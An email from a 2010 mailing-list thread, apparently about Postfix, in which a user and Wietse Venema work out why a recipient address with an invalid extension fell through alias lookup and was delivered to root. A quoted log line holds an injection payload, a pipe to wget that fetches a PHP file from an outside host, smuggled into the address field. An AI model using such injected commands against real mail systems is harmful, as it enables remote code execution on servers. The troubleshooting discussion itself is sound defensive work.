Excellent, that makes everything clear. Thanks a lot,
Arno On 22.04.2010 15:41, Wietse Venema wrote: > Arno Sch�fer: > [ Charset ISO-8859-1 unsupported, converting... ] >> On 22.04.2010 14:47, Wietse Venema wrote: >>> Arno Sch?fer: >>>> Apr 9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address >>>> with illegal extension: root+:|wget http://fortunes.in/x1x.php >>> >>> You did't mention in the initial report that Postfix rejected the >>> extension, because that makes all the difference in the world. >> >> Yes. I should have looked up the mail.log right away, sorry about that. >> >>> Apparently, the Postfix local delivery agent does not distinguish >>> between "there is no address extension" and "there is an address >>> extension, but it is invalid". In both cases, it only runs the >>> full address local-part through the alias mapping. >> >> Ok, so if I understand that correctly, if the extension is valid, the >> local delivery agent checks if there is an alias for the address WITH >> extension, and if not, falls back to the alias WITHOUT extension. But if >> the extension is invalid, it does not realize that and looks for an >> alias with the invalid extension, does not find one, and then decides to >> attempt to deliver locally. > > Indeed. The code that expands aliases should have looked up both > the full local-part and the stripped local-part, but it looked up > only the full local-part. > >> Just to be sure: why then is the mail delivered to root, rather than >> rejected? That would mean that the local delivery agent, AFTER deciding >> to deliver locally, in another part of the code again checks for an >> extension in the full address local-part and in that case, handles it >> correctly, right? > > The code that delivers to mailbox always looks up the stripped local-part. > > Wietse > -- Arno Schäfer IT-Beratung & Softwareentwicklung PHP - Java - Web-Anwendungen Linux/Unix - MySQL - Hochverfügbarkeit - Security Weilbornstraße 10 - 63303 Dreieich mailto: arno_schae...@gmx.de Tel. +49-6103-699967 | Mobil +49-171-7939236
